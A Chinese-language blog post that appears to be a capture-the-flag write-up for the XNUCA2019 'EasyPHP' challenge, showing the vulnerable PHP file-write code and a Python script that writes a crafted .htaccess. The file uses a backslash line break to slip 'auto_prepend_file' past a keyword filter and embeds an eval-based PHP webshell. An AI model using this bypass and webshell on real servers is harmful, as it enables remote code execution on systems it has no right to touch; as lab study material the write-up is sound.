[XNUCA2019Qualifier]EasyPHP python get传参format格式容易生效&.htaccess php_value auto_prepend_file "shell.php"

进去一个代码审计

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?> 

代码逻辑很容易理解,先删除当前目录下(./)除了index.php文件外其他所有的文件,然后接受两个getc传参,然后调用file_put_contents()写文件,最后再删除一遍其他文件,也就是每刷新一次就会重来。

 

这时候上传个.htaccess,内容为:

php_value auto_prepend_file ".htaccess"       //文件开始先调用这个文件,一般是个马

#<?php @eval($_REQUEST[8]);?>

 

但是,由于最后强制加上了一句\nJust one chance,由于这句话的存在,会让.htaccess报错

正确的fomat是:

htaccess = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php @eval($_REQUEST[8]);?>\\'''

 

这个是python里的,#在python里是注释,所以要url编码,在.htaccess里\的作用是连接下一行,但是最后一行就变成了:

#<?php @eval($_REQUEST[8]);?>\nJust one chance

经过测试是可以执行一句话木马的,后面的当成字符串输出了

 

get传参格式化传参必须用py:

import requests


htaccess = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php phpinfo();?>\\'''


url = 'http://a367e0c3-2a38-45b0-8104-fdd16290a5a4.node4.buuoj.cn:81/?filename={}&content={}'.format('.htaccess', htaccess)
r = requests.get(url=url)
print(r.status_code)

 

posted @ 2022-07-28 17:36  Galio  阅读(83)  评论(0)    收藏  举报